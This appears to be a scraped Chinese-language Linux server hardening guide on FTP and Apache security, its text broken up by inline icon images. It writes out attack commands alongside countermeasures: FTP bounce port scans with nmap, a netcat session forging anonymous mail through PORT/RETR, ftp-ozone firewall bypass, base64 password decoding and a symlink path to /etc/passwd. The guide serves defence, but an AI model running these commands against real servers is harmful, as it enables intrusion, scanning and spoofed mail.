![](/icons/41291dou.gif)
以连接并传送数据
![](/icons/41291dou2.gif)
按前面
![](/icons/41291de.gif)
方式
![](/icons/41291dou.gif)
输入ls
![](/icons/41291dou.gif)
客户
机发送PASV命令给服务器
![](/icons/41291dou.gif)
服务器接收到该命令后
![](/icons/41291dou.gif)
将绑定某个本地端口
![](/icons/41291dou.gif)
然后在PASV
返回码中告诉客户端所绑定
![](/icons/41291de.gif)
端口
![](/icons/41291dou2.gif)
客户端根据返回码和服务器建立连接
![](/icons/41291dou.gif)
发送LIST命令
![](/icons/41291dou.gif)
传输数据
![](/icons/41291dou2.gif)
纯文本口令
FTP以纯文本方式传输用户各和口令
![](/icons/41291dou.gif)
黑客能监听到这些信息
![](/icons/41291dou.gif)
而多数据情况下FTP用户
也是系统
![](/icons/41291de.gif)
合法用户
![](/icons/41291dou.gif)
因而黑客能利用这些帐号攻击ROOT帐号
![](/icons/41291dou2.gif)
可以使用几种思路方法加密
命令通道
![](/icons/41291dou.gif)
但这些思路方法不能保护动态
![](/icons/41291de.gif)
数据通道
![](/icons/41291dou2.gif)
要有效地进行加密
![](/icons/41291dou.gif)
两端必须都使用主动
模式
![](/icons/41291dou2.gif)
而且服务器必须允许命令通道的外
![](/icons/41291de.gif)
机器向其发送PORT命令
![](/icons/41291dou2.gif)
例子:首先和同
![](/icons/41291yi.gif)
网
络
![](/icons/41291de.gif)
ftp服务器建立ssh连接
![](/icons/41291dou.gif)
ssh
![](/icons/41291chengxu.gif)
绑定本地端口
![](/icons/41291dou.gif)
使用该端口将命令通道
![](/icons/41291de.gif)
数据转发到
ftp服务器
![](/icons/41291de.gif)
21端口
![](/icons/41291dou2.gif)
ftpcliet#ssh -L 2121:ftpserver.example.com:21 trusted_machine.example.com
#then,from a separate shell
ftpclient#ftp localhost 2121
窍门技巧:如果用户在ftp服务器上拥有帐号
![](/icons/41291dou.gif)
应当直接使用scp or sftp
![](/icons/41291dou.gif)
而不是使用ssh转发绕
弯子
![](/icons/41291dou2.gif)
另
![](/icons/41291yi.gif)
种思路方法是使用
![](/icons/41291yi.gif)
次口令
![](/icons/41291dou.gif)
如果用户
![](/icons/41291de.gif)
系统支持PAM
![](/icons/41291dou.gif)
则只需修改/etc/pam.d/ftp文件设
置所选
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
次性口令算法
![](/icons/41291dou2.gif)
FTP旗标信息
要修改默认
![](/icons/41291de.gif)
旗标信息
![](/icons/41291dou.gif)
不要向黑客提供多余
![](/icons/41291de.gif)
信息
![](/icons/41291dou2.gif)
![](/icons/41291if.gif)
wu-ftpd mod
![](/icons/41291if.gif)
y /etc/ftpaccess,
![](/icons/41291if.gif)
proftpd mod
![](/icons/41291if.gif)
y /etc/proftpd.conf
![](/icons/41291dou2.gif)
PASV FTP数据劫持
在ftp客户端发出PASV or PORT命令的后
![](/icons/41291dou.gif)
发送跟随
![](/icons/41291de.gif)
数据请(LIST,RETR,STOR等)的
前
![](/icons/41291dou.gif)
存在
![](/icons/41291yi.gif)
个易受攻击
![](/icons/41291de.gif)
时间窗口
![](/icons/41291dou.gif)
如果黑客能够猜到所打开
![](/icons/41291de.gif)
端口
![](/icons/41291dou.gif)
就能够连接并截取或
替换正在发送
![](/icons/41291de.gif)
数据
![](/icons/41291dou2.gif)
对于匿名ftp
![](/icons/41291dou.gif)
这
![](/icons/41291yi.gif)
点没什么用处
![](/icons/41291dou.gif)
对于非匿名ftp
![](/icons/41291dou.gif)
黑客就可以使用
这个思路方法截取有用
![](/icons/41291de.gif)
数据
![](/icons/41291dou2.gif)
PORT FTP数据劫持
原理同上
![](/icons/41291dou.gif)
较少用
![](/icons/41291dou2.gif)
通过第 3方FTP服务器进行端口扫描
FTP客户端所发送
![](/icons/41291de.gif)
PORT命令告诉服务器传送数据时应当连向
![](/icons/41291de.gif)
IP和端口
![](/icons/41291dou.gif)
通常
![](/icons/41291dou.gif)
这就
是客户端所在机器
![](/icons/41291de.gif)
IP地址和所绑定
![](/icons/41291de.gif)
端口
![](/icons/41291dou2.gif)
但是
![](/icons/41291dou.gif)
FTP规范标准中并没有规定客户端发送
![](/icons/41291de.gif)
PORT命令中必须指定自已
![](/icons/41291de.gif)
IP地址
![](/icons/41291dou2.gif)
黑客就可以利用这点通过第 3方FTP服务器进行端
口扫描
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
这是通过第 3方
![](/icons/41291de.gif)
FTP服务器
![](/icons/41291de.gif)
反射实现
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
所以叫FTP反射
![](/icons/41291dou2.gif)
优点有:
1、匿名性
![](/icons/41291dou.gif)
源地址为FTP服务器
![](/icons/41291dou.gif)
不是黑客
![](/icons/41291de.gif)
机器
![](/icons/41291dou2.gif)
2、规避阻塞
![](/icons/41291dou.gif)
如果目标主机通过添加内核ACL或无效路由来自动阻塞对其进行扫描
![](/icons/41291de.gif)
主机
![](/icons/41291dou.gif)
则黑客不可能在地址被拒的前完成扫描
![](/icons/41291dou2.gif)
但是
![](/icons/41291dou.gif)
利用FTP服务器进行中继扫描
![](/icons/41291dou.gif)
就只会阻
塞FTP服务器
![](/icons/41291dou2.gif)
黑客可以换另
![](/icons/41291yi.gif)
个FTP服务器继续进行
![](/icons/41291dou.gif)
扫描完成后就可以进行攻击
![](/icons/41291dou.gif)
而
这样不会触发扫描防御机制
![](/icons/41291dou2.gif)
利用nmap工具可进行这种扫描
![](/icons/41291dou2.gif)
# nmap -b username:password@ftpserver:port 如果不给出用户名和口令
![](/icons/41291dou.gif)
则其默认为
anonymous
![](/icons/41291dou.gif)
default port is 21
![](/icons/41291dou.gif)
因此对于匿名服务器
![](/icons/41291dou.gif)
命令可简写成# nmap -b ftpserver
注意:对于某些防火墙
![](/icons/41291dou.gif)
只有当命令中
![](/icons/41291de.gif)
IP地址属于受其保护
![](/icons/41291de.gif)
机器
![](/icons/41291dou.gif)
它才会重写PORT
AND PASV COMMAND
![](/icons/41291dou2.gif)
即这
![](/icons/41291yi.gif)
思路方法也能用于扫描防火墙后
![](/icons/41291de.gif)
机器
![](/icons/41291dou2.gif)
# nmap -P0 -b
username:password@ftpserver:21 -p 5400,5800,5900,6000 target.example.com
经由FTP
![](/icons/41291de.gif)
nmap扫描要慢于普通
![](/icons/41291de.gif)
端口扫描
![](/icons/41291dou2.gif)
依赖于FTP服务器
![](/icons/41291de.gif)
完整TCP握手过程
![](/icons/41291dou2.gif)
不能进行并发扫描
![](/icons/41291dou2.gif)
除非编写脚本建立多个连接
![](/icons/41291dou2.gif)
对策:
阻塞来自20端口(ftp-data)
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
但这样做会阻止合法
![](/icons/41291de.gif)
FTP流量
![](/icons/41291dou2.gif)
而且并不是所有
FTP服务器都用该端口发送数据
![](/icons/41291dou2.gif)
可配置成拒绝IP地址和客户端机器不符
![](/icons/41291de.gif)
PORT
![](/icons/41291dou2.gif)
可手工核查这类思路方法
#cat ftp.bounce.detect
USER username
PASS password
PORT 127,0,0,1,10,10
LIST
QUIT
#nc ftpserver 21 < ftp.bounce.detect
如果出现'425 Can't build data connection:Connection refused'这
![](/icons/41291yi.gif)
行信息介绍说明例中
![](/icons/41291de.gif)
服务器易
于受到攻击
![](/icons/41291dou2.gif)
介绍说明服务器确实尝试过连接PORT中所指
![](/icons/41291de.gif)
主机/端口
![](/icons/41291dou2.gif)
多数配置正确
![](/icons/41291de.gif)
服务
器将给出区别
![](/icons/41291de.gif)
出错信息
![](/icons/41291dou.gif)
或直接断开连接
![](/icons/41291dou2.gif)
启用第 3方FTP
允许任意使用PORT命令会带来某些问题
![](/icons/41291dou.gif)
以某种巧妙
![](/icons/41291de.gif)
方式使用PORT AND PASV
![](/icons/41291dou.gif)
可以
使FTP客户端某个服务器上
![](/icons/41291de.gif)
数据直接发送到另
![](/icons/41291yi.gif)
个FTP服务器上
![](/icons/41291dou.gif)
数据无需流经控制这
![](/icons/41291yi.gif)
操作
![](/icons/41291de.gif)
机器
![](/icons/41291dou2.gif)
Xftp支持这
![](/icons/41291yi.gif)
功能
![](/icons/41291dou2.gif)
FTP反射攻击
如果黑客能够向服务器上载文件
![](/icons/41291dou.gif)
那他就可以使用PORT AND RETR命令传送任何数据
![](/icons/41291dou2.gif)
例如有
![](/icons/41291yi.gif)
个可写
![](/icons/41291de.gif)
incoming目录
hacker$cat anonymous_mail.smtp
HELO FTPSERVER.EXAMPLE.COM
mail from :user@some_host.com
rcpt to:mailbomb_recipient@other_host.com
data
....
hacker$ncftpput ftpserver incoming anonymous_mail.smtp
hacker$nc ftpserver 21
USER anonymous
PASS
[email protected] PORT 10,10,10,10,0,25
RETR anonymous_mail.smtp
QUIT
FTP服务器将把anonymous_mail.smtp文件发送到邮件服务器10.10.10.10
![](/icons/41291de.gif)
SMTP(25)端口,
该文件被设计成正确
![](/icons/41291de.gif)
SMTP命令
![](/icons/41291dou.gif)
并且邮件服务器认为FTP服务器就是连接
![](/icons/41291de.gif)
源机器
![](/icons/41291dou.gif)
有效防止它确定邮件真实来源
![](/icons/41291de.gif)
可能性
![](/icons/41291dou2.gif)
利用这种思路方法还可以攻击其它网络服务
![](/icons/41291dou.gif)
POP,IMAP
OR lpd
![](/icons/41291dou2.gif)
些时
![](/icons/41291dou.gif)
FTP服务器被认为是攻击源
![](/icons/41291dou.gif)
而黑客就高枕无忧了
![](/icons/41291dou2.gif)
对策:
限制服务器接收任意
![](/icons/41291de.gif)
PORT命令
![](/icons/41291dou2.gif)
确保jail目录下不存在所有人都可写
![](/icons/41291de.gif)
目录或文件
![](/icons/41291dou2.gif)
假
设FTP帐号用户ID为100组ID为200
![](/icons/41291dou2.gif)
则可使用下面命令找出这些文件
ftpserver# cd /path/to/jail
ftpserver# find . \( -user 100 -o -group 200 -o -perm -002 \) -a -ls
禁用SITE CHMOD命令
![](/icons/41291dou.gif)
可限制用户把文件许可改为可写
![](/icons/41291dou2.gif)
更好
![](/icons/41291de.gif)
办法是确保FTP区域不中存在属于匿名用户或能被其写入
![](/icons/41291de.gif)
文件
![](/icons/41291dou2.gif)
对防火墙的后
![](/icons/41291de.gif)
FTP服务器端口
![](/icons/41291de.gif)
非授权访问
通常FTP服务器处于防火墙的后
![](/icons/41291dou.gif)
并阻塞所有除FTP的外
![](/icons/41291de.gif)
所有访问
![](/icons/41291dou2.gif)
在FTP服务器发送
PASV的后
![](/icons/41291dou.gif)
防火墙必须为数据连接打开给定
![](/icons/41291de.gif)
端口
![](/icons/41291dou.gif)
并在传输完成后关闭它
![](/icons/41291dou.gif)
但多数防火
墙并不保持会话
![](/icons/41291de.gif)
真实状态
![](/icons/41291dou2.gif)
而且会被欺骗打开端口
![](/icons/41291dou2.gif)
ftp-ozone脚本可用于攻击这种情况
![](/icons/41291dou2.gif)
hacker$ftp-ozone ftpserver.example.com 79 &
hacker$nc ftpserver.example.com 79
对策:
用ftp-ozone测试FTP服务器
![](/icons/41291dou2.gif)
升级防火墙
![](/icons/41291dou.gif)
此外ip_masq_ftp模块不再存此漏洞
![](/icons/41291dou2.gif)
或配置
服务器不使用PASV FTP
![](/icons/41291dou2.gif)
对防火墙的后
![](/icons/41291de.gif)
FTP客户端端口
![](/icons/41291de.gif)
非授权访问
防火墙要想支持主动FTP,就必须提供思路方法转换PORT地址中
![](/icons/41291de.gif)
地址
![](/icons/41291dou.gif)
并在防火墙外侧绑定
端口
![](/icons/41291dou.gif)
然后将其正确地对应到实际
![](/icons/41291de.gif)
FTP客户端
![](/icons/41291dou2.gif)
如果不保护连接状态
![](/icons/41291de.gif)
完整记录
![](/icons/41291dou.gif)
做到
这
![](/icons/41291yi.gif)
点不容量
![](/icons/41291dou.gif)
很多开发商选择绕过这
![](/icons/41291yi.gif)
点选择更快
![](/icons/41291de.gif)
处理速度
![](/icons/41291dou2.gif)
黑客可以利用这
![](/icons/41291yi.gif)
点欺骗
客户端
![](/icons/41291dou.gif)
使用其发送伪造
![](/icons/41291de.gif)
PORT命令
![](/icons/41291dou.gif)
就可以穿透防火墙和FTP客户端
![](/icons/41291de.gif)
任何端口建立
连接
![](/icons/41291dou2.gif)
Ftpd-ozone脚本提供了
![](/icons/41291yi.gif)
个用于欺骗防火墙
![](/icons/41291de.gif)
特制URL
![](/icons/41291dou.gif)
将其发给客户
![](/icons/41291dou.gif)
客户
![](/icons/41291yi.gif)
旦单击这
个链接
![](/icons/41291dou.gif)
FTP服务器所在机器就能连向位于防火墙的后
![](/icons/41291de.gif)
客户端
![](/icons/41291dou2.gif)
对策:
用Ftpd-ozone脚本测试服务器
![](/icons/41291dou.gif)
升级防火墙
![](/icons/41291dou2.gif)
ip_masq_ftp没有这个问题
![](/icons/41291dou2.gif)
使用PASV FTP
![](/icons/41291dou2.gif)
使用Aftpd代替匿名FTP,编译时指定DREADONLY,它将只提供文件下载服务
![](/icons/41291dou2.gif)
而不能上传
文件
![](/icons/41291dou2.gif)
出连连接不使用20端口
![](/icons/41291dou.gif)
即服务器不需要任何root权限
![](/icons/41291dou2.gif)
惟
![](/icons/41291yi.gif)
在服务器外运行
![](/icons/41291de.gif)
命
令是/bin/ls
![](/icons/41291dou2.gif)
Publicfile可作http and 匿名ftp服务器
![](/icons/41291dou.gif)
安全性极高
![](/icons/41291dou2.gif)
它不支持任何有问题
![](/icons/41291de.gif)
传统功能(SITE
EXEC等)
![](/icons/41291dou.gif)
并对PORT AND PASV命令提供了适当
![](/icons/41291de.gif)
保护
![](/icons/41291dou2.gif)
而且不运行任何外部命令
![](/icons/41291dou.gif)
包
括/bin/ls
![](/icons/41291dou2.gif)
小结
sendmail是使用最广
![](/icons/41291de.gif)
邮件服务器
![](/icons/41291dou.gif)
但保障其安全不是件容量
![](/icons/41291de.gif)
事情
![](/icons/41291dou.gif)
所以应了解它
![](/icons/41291de.gif)
基础
知识
![](/icons/41291dou.gif)
才不会误入岐途
![](/icons/41291dou2.gif)
qmail and postfix吸取了sendmail
![](/icons/41291de.gif)
教训
![](/icons/41291dou.gif)
变得更小
![](/icons/41291dou.gif)
也更易于配
置
![](/icons/41291dou.gif)
并且在设计时就考虑了安全性
![](/icons/41291dou2.gif)
但它们
![](/icons/41291de.gif)
使用不如sendmail广
![](/icons/41291dou2.gif)
资料相对较少
![](/icons/41291dou2.gif)
主动和被动
![](/icons/41291de.gif)
FTP服务器都存在问题
![](/icons/41291dou.gif)
最好
![](/icons/41291de.gif)
思路方法是不使用FTP服务器
![](/icons/41291dou2.gif)
如需支持匿名ftp
文件下载
![](/icons/41291dou.gif)
应当运行WEB服务器
![](/icons/41291dou2.gif)
如Publicfile
![](/icons/41291dou2.gif)
如果服务器
![](/icons/41291de.gif)
用户必须上传文件
![](/icons/41291dou.gif)
应当使
用scp or sftp来到代FTP
![](/icons/41291dou2.gif)
它们是SSH
![](/icons/41291de.gif)
组成部份
![](/icons/41291dou2.gif)
scp是
![](/icons/41291yi.gif)
个安全
![](/icons/41291de.gif)
命令行复制
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
sftp
本质上和的相同
![](/icons/41291dou.gif)
但拥有
![](/icons/41291yi.gif)
个类似于ftp
![](/icons/41291de.gif)
交互界面
![](/icons/41291dou2.gif)
这两个
![](/icons/41291chengxu.gif)
可以保护口令免遭嗅探
![](/icons/41291dou.gif)
并且确保数据不会被攻击者破坏
![](/icons/41291dou2.gif)
第十 2章 Web服务和动态页面
生成HTTP请求
machine$telnet localhost 80
输入
HEAD / HTTP/1.0
它向服务器请求其文档树根目录“/”
![](/icons/41291de.gif)
头部信息
![](/icons/41291dou2.gif)
头部信息会给黑客提供
![](/icons/41291yi.gif)
些有用
![](/icons/41291de.gif)
信息
![](/icons/41291dou.gif)
如服务器版本
![](/icons/41291dou.gif)
操作系统
![](/icons/41291dou.gif)
安装
![](/icons/41291de.gif)
模块等
![](/icons/41291dou2.gif)
可以修改默认
![](/icons/41291de.gif)
头部信息以防止信息泄露
![](/icons/41291dou2.gif)
编辑src/
![](/icons/41291include.gif)
/httpd.h文件
![](/icons/41291dou.gif)
将下面这些行
#
![](/icons/41291define.gif)
SERVER_BASEPRODUCT "Apache"
#
![](/icons/41291define.gif)
SERVER_BASERVISION "1.3.14"
修改成
#
![](/icons/41291define.gif)
SERVER_BASEPRODUCT "myweb"
#
![](/icons/41291define.gif)
SERVER_BASERVISION "xx.xx.xx"
然后编译安装就可以了
![](/icons/41291dou2.gif)
并且在启动服务器前
![](/icons/41291dou.gif)
在httpd.conf中添加如下指令:ServerTokens
Min
限制IP以保护数据
在.htaccess中添加如下内容:
Order Deny,Allow
Deny from All
Allow from 192.168.1.100
Allow from 192.168.1.101
使用http身份认证
可控制结web服务器特定目录和子目录
![](/icons/41291de.gif)
访问
![](/icons/41291dou2.gif)
以base64格式将用户名和口令组合编码
![](/icons/41291dou2.gif)
但仍是明文
![](/icons/41291dou2.gif)
可给黑客劫取
![](/icons/41291dou2.gif)
并用perl
![](/icons/41291chengxu.gif)
破解:
hacker$perl -MMIME::Base64 -le > `pr
![](/icons/41291int.gif)
decode_base64"监听到
![](/icons/41291de.gif)
密码串"'
为了把黑客监听到用户名和口令可能性减少
![](/icons/41291dou.gif)
应当使用安全
![](/icons/41291de.gif)
http连接
![](/icons/41291dou.gif)
SSL.下面例子使用
stunnel连接站点所监听
![](/icons/41291de.gif)
ssl端口443
![](/icons/41291dou2.gif)
在发送数据前
![](/icons/41291dou.gif)
首先建立加密连接
![](/icons/41291dou.gif)
的后所发送数
据都以加密方式发送
![](/icons/41291dou2.gif)
machine$stunnel -f -D7 -c -r www.example.com:443
ssl version2所要求
![](/icons/41291de.gif)
算法是
![](/icons/41291yi.gif)
项2000年9月20日到期
![](/icons/41291de.gif)
美国专利
![](/icons/41291dou.gif)
可以使用RESREF库
![](/icons/41291dou2.gif)
而不要使用RSAREF库(存在安全和稳定性问题)
![](/icons/41291dou2.gif)
TSL(transport layer security传输层安全协议)协议基于SSLv3.0由
![](/icons/41291int.gif)
ernet engineering task
force(IEIF)D 1998年提出
![](/icons/41291dou.gif)
主要用途和ssl相同
![](/icons/41291dou.gif)
提供安全
![](/icons/41291de.gif)
传输层
![](/icons/41291dou2.gif)
目标:密码安全性
![](/icons/41291dou.gif)
互操作性
![](/icons/41291dou.gif)
扩展性
![](/icons/41291dou.gif)
相对
![](/icons/41291de.gif)
高效性
![](/icons/41291dou2.gif)
对ssl
![](/icons/41291de.gif)
改进:对安全性略有增强
![](/icons/41291dou.gif)
规范标准定义更清晰
![](/icons/41291dou.gif)
为
将来
![](/icons/41291de.gif)
协议提供更广泛
![](/icons/41291de.gif)
基础
![](/icons/41291dou2.gif)
在URL中允许..(double dot)
早期
![](/icons/41291de.gif)
apache存在巨大
![](/icons/41291de.gif)
安全漏洞
![](/icons/41291dou.gif)
在URL中允许..指向上层目录
![](/icons/41291dou2.gif)
Apache在很早期就补
上了这个漏洞
![](/icons/41291dou2.gif)
但仍会影响CGI
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
不应该以root用户运行apache
![](/icons/41291dou2.gif)
这样服务器就可读取属于root
![](/icons/41291de.gif)
文件
![](/icons/41291dou.gif)
由其执行
![](/icons/41291de.gif)
CGI程
序也拥有root权限
![](/icons/41291dou2.gif)
危险
![](/icons/41291de.gif)
符号链接
如果允许服务器使用符号链接
![](/icons/41291dou.gif)
就有潜在
![](/icons/41291de.gif)
安全威胁
![](/icons/41291dou2.gif)
将web服务器访问
![](/icons/41291de.gif)
文件限制在文
档树范围内是最重要
![](/icons/41291de.gif)
安全策略
![](/icons/41291dou2.gif)
如果存在符号链接
![](/icons/41291dou.gif)
如某用户在其html目录下放置了
![](/icons/41291yi.gif)
个指向/etc
![](/icons/41291de.gif)
符号链接link_to_etc
![](/icons/41291dou.gif)
则黑客就可以如下请求/etc/passwd文件:
http://localhost/~hack/link_to_ect/passwd
![](/icons/41291dou2.gif)
允许符号链接
![](/icons/41291de.gif)
配置如下
Options FollowSymLinks
更为严格
![](/icons/41291de.gif)
配置是只允许符号链接指向属于同
![](/icons/41291yi.gif)
个用户
![](/icons/41291de.gif)
文件或目录
Options SymlinkIfOwnerMatch
如果要使用链接应把它们集中放置于只有授权用户如root才能写入
![](/icons/41291de.gif)
目录中
![](/icons/41291dou.gif)
拒绝普通用
户创建符号链接限能限制敏感信息被链接
![](/icons/41291de.gif)
数量
![](/icons/41291dou2.gif)
目录许可为rwxr-xr--x,使用Directory指令
限制apache只使用给定
![](/icons/41291de.gif)
目录下
![](/icons/41291de.gif)
符号链接
![](/icons/41291dou2.gif)
<Directory /usr/local/apache/htdocs/links_dir>
Options FollowSymLinks
</Directory>
防止获得目录内容列表
apache中配置服务返回目录内容列表
![](/icons/41291de.gif)
指令为Option Indexes
![](/icons/41291dou2.gif)
在所有Option指令中去掉该
指令可防止返回目录内容列表
![](/icons/41291dou2.gif)
将CGI限制在某些目录下
![](/icons/41291dou.gif)
允许CGI运行于任何目录有潜在
![](/icons/41291de.gif)
安全问题
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
般APACHE配
置CGI
![](/icons/41291chengxu.gif)
只能在CGI目录下执行
![](/icons/41291dou2.gif)
这些目录通常被命名为cgi-bin or bin
![](/icons/41291dou2.gif)
这些目录下
![](/icons/41291de.gif)
所有文件被看作是可执行
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
并以运行web
![](/icons/41291de.gif)
用户(通常是nobody)
![](/icons/41291de.gif)
身份运行
![](/icons/41291dou2.gif)
应当关
注这个目录下
![](/icons/41291de.gif)
内容
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
它们被请求时执行
![](/icons/41291dou2.gif)
ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin"
不要基于文件名来启用CGI
![](/icons/41291dou2.gif)
服务器可以基于特定
![](/icons/41291de.gif)
扩展名(.cgi, .pl, .php)
![](/icons/41291dou2.gif)
这样就允许
![](/icons/41291chengxu.gif)
员将
![](/icons/41291chengxu.gif)
放在服务器目录结构下
![](/icons/41291dou.gif)
而不仅仅是特定目录
![](/icons/41291dou.gif)
这样会造成潜在安全问题
![](/icons/41291dou2.gif)
基于文
件名来启动CGI
![](/icons/41291de.gif)
配置命令是:AddHandler cgi-script .cgi
![](/icons/41291dou2.gif)
不要用以上命令
![](/icons/41291dou2.gif)
注意
![](/icons/41291dou.gif)
有些系
统默认是打开该功能
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
要检查系统配置
![](/icons/41291dou.gif)
注释该选项或删除它
![](/icons/41291dou2.gif)
不要在CGI目录下保存
![](/icons/41291yi.gif)
个
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
多个版本
![](/icons/41291dou2.gif)
根据文件名限制对文件
![](/icons/41291de.gif)
访问
![](/icons/41291dou.gif)
应当使用Files or FilesMatch指令
![](/icons/41291dou2.gif)
如果使用Files
![](/icons/41291dou.gif)
则应当
使用“~”号来表示引号内
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
串为正则表达式
![](/icons/41291dou2.gif)
下面
![](/icons/41291de.gif)
例子给出了拒绝访问所有以.bak
结尾
![](/icons/41291de.gif)
文件
![](/icons/41291de.gif)
设置思路方法:
<Files ~ "\.bak$">
Order allow,deny
Deny from all
</Files>
使用FilesMatch时
![](/icons/41291dou.gif)
![](/icons/41291zifu.gif)
串直接被认为是正则表达式
![](/icons/41291dou2.gif)
不安全
![](/icons/41291de.gif)
CGI对其他web站点
![](/icons/41291de.gif)
影响
![](/icons/41291dou2.gif)
如果服务器以同
![](/icons/41291yi.gif)
个用户(通常是nobody)运行虚
拟主机
![](/icons/41291dou.gif)
则某个虚拟主机上
![](/icons/41291de.gif)
CGI
![](/icons/41291chengxu.gif)
漏洞可能会危及所有
![](/icons/41291de.gif)
虚拟主机
![](/icons/41291dou2.gif)
所以要使用
SuEXEC配置每个虚拟机以区别用户运行CGI
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
安全地使用.htaccess文件配置http身份认证
配置服务器允许使用.htaccess文件是实施身份认证
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
个便利思路方法
![](/icons/41291dou.gif)
此时
![](/icons/41291dou.gif)
只需在需要身份
认证
![](/icons/41291de.gif)
目录下放置
![](/icons/41291yi.gif)
个名为.htaccess
![](/icons/41291de.gif)
文件
![](/icons/41291dou.gif)
就可以控制访问
![](/icons/41291dou2.gif)
为将服务器配置为启
用.htaccess文件
![](/icons/41291dou.gif)
可以使用AllowOverride and AccessFileName
![](/icons/41291dou2.gif)
下面是
![](/icons/41291yi.gif)
个配置HTTP身份认证
![](/icons/41291de.gif)
例子
![](/icons/41291dou.gif)
将下列指令写入httpd.conf
![](/icons/41291dou.gif)
以启用.htaccess文件
![](/icons/41291dou2.gif)
AllowOverride指令设定.htaccess可以取代
![](/icons/41291de.gif)
项目(用于身份认证应设为AuthConfig)
![](/icons/41291dou2.gif)
AllowOverride AuthConfig
为指定由名为.htaccess
![](/icons/41291de.gif)
文件控制文件访问
![](/icons/41291dou.gif)
应使用AccessFileName指令
AccessFileName .htaccess
应用.htaccess文件时
![](/icons/41291dou.gif)
它本身决不应被服务器提供给客户端
![](/icons/41291dou.gif)
因此必须使用Files命令来配
置服务器
![](/icons/41291dou.gif)
使其拒绝浏览器对.htaccess
![](/icons/41291de.gif)
访问
![](/icons/41291dou2.gif)
<Files .htaccess>
Order allow,deny
Deny from all
</Files>
.htaccess文件内容告诉服务器口令文件
![](/icons/41291de.gif)
位置和其它信息
![](/icons/41291dou.gif)
例如:
<LIMIT GET>
require user login jdoe
</LIMIT>
AuthUserFile指令指向包含用户名和口令组合
![](/icons/41291de.gif)
文件
![](/icons/41291dou.gif)
该文件用htpasswd创建
![](/icons/41291dou2.gif)
这个文件决
不能放在文档树目录下
![](/icons/41291dou2.gif)
安全地使用httpd.conf文件来配置身份认证
![](/icons/41291dou2.gif)
这种思路方法会更安全
![](/icons/41291yi.gif)
些
![](/icons/41291dou.gif)
它不需要创建和管
理.htaccess文件
![](/icons/41291dou2.gif)
配置例子如下:
<Directory /usr/local/apache/htdocs/private_dir>
AuthType Basic
AuthName "my private directory"
AuthUserFile /usr/local/apache/misc/my_private_dir.htpasswd
require valid-user
</Directory>
利用默认配置
![](/icons/41291de.gif)
漏洞
![](/icons/41291dou.gif)
安装系统时
![](/icons/41291dou.gif)
都有
![](/icons/41291yi.gif)
个默认
![](/icons/41291de.gif)
配置
![](/icons/41291dou.gif)
这个默认
![](/icons/41291de.gif)
配置可能是不安全
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
建议关闭所有没用
![](/icons/41291de.gif)
默认配置
![](/icons/41291dou2.gif)
1、删除联机手册
2、删除默认欢迎页面
3、删除根据文件名执行CGI
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
4、安全配置parsed HTML文件
![](/icons/41291dou.gif)
也叫SSIs(Server Side Includes)
![](/icons/41291dou.gif)
是需要预处理
![](/icons/41291de.gif)
HTML
文件
![](/icons/41291dou.gif)
允许服务器通过包含其它文件或执行外部命令来生成HTML
![](/icons/41291dou.gif)
配置指令是:
AddType text/html .shtml
AddHandler server-parsed .shtml
AddHandler server-parsed .html
SSIs允许用户(包括某些能力低下
![](/icons/41291de.gif)
用户)上传能够执行
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
HTML文件
![](/icons/41291dou2.gif)
所以只有
必要时才配置
![](/icons/41291dou2.gif)
否则关闭它
![](/icons/41291dou2.gif)
安全配置服务器状态和信息显示
<Location /server-status/>
SetHandler server-status
Order deny,allow
Deny from all
Allow from localhost
</Location>
<Location /server-info/>
SetHandler server-info
Order deny,allow
Deny from all
Allow from .example.com
</Location>
应当只对可信主机才显示该信息
![](/icons/41291dou.gif)
所以应当确保上述命令中包含Deny from all.并且在Allow
from中列出可信主机
![](/icons/41291dou2.gif)
但更好
![](/icons/41291de.gif)
做法是关闭它
![](/icons/41291dou2.gif)
配置public_html目录
通过适当配置apache可将http://www.example.com/~jdoe/等类似URL指向~jdoe/public_html
或相应文件:
UserDir public_html
<Directory /home/*/public_html>
....
</Directory>
如果不需要这个功能
![](/icons/41291dou.gif)
则注释或删除它
![](/icons/41291dou2.gif)
更加安全
![](/icons/41291de.gif)
思路方法是为需要放置HTML文件
![](/icons/41291de.gif)
用户
在web文档树下创建
![](/icons/41291yi.gif)
个目录
![](/icons/41291dou2.gif)
并且将这
![](/icons/41291yi.gif)
目录设置为只有相应用户或组才能够写入
![](/icons/41291dou2.gif)
如果不需WEB代理
![](/icons/41291dou.gif)
请删除或注释掉以下指令
<Directory proxy:*>
Order deny,allow
Deny from all
Allow from .example.com
</Directory>
CGI
![](/icons/41291chengxu.gif)
问题
不要信任预装和下载
![](/icons/41291de.gif)
CGI
![](/icons/41291dou.gif)
应当遵循3个简单
![](/icons/41291de.gif)
规则:
1、删除web服务器附带
![](/icons/41291de.gif)
CGI
![](/icons/41291chengxu.gif)
;
2、删除那些不是自已编写或没有彻底检查过和CGI
![](/icons/41291chengxu.gif)
;
3、不要从流行
![](/icons/41291de.gif)
脚本库(免费或收费)下载和使用脚本
![](/icons/41291dou.gif)
应该自已写
![](/icons/41291dou2.gif)
不安全
![](/icons/41291de.gif)
CGI
![](/icons/41291chengxu.gif)
大部分可归为以下两类:
1、作不正确假设
![](/icons/41291dou2.gif)
2、执行操作系统
![](/icons/41291chengxu.gif)
和找开连向操作系统
![](/icons/41291de.gif)
管道
![](/icons/41291dou2.gif)
在写CGI时应该
1、总是检查接收到
![](/icons/41291de.gif)
字段
![](/icons/41291dou2.gif)
2、使用MD5来校验隐藏字段
![](/icons/41291dou2.gif)
使用隐藏字段是在CGI的间传递数据
![](/icons/41291de.gif)
天真做法
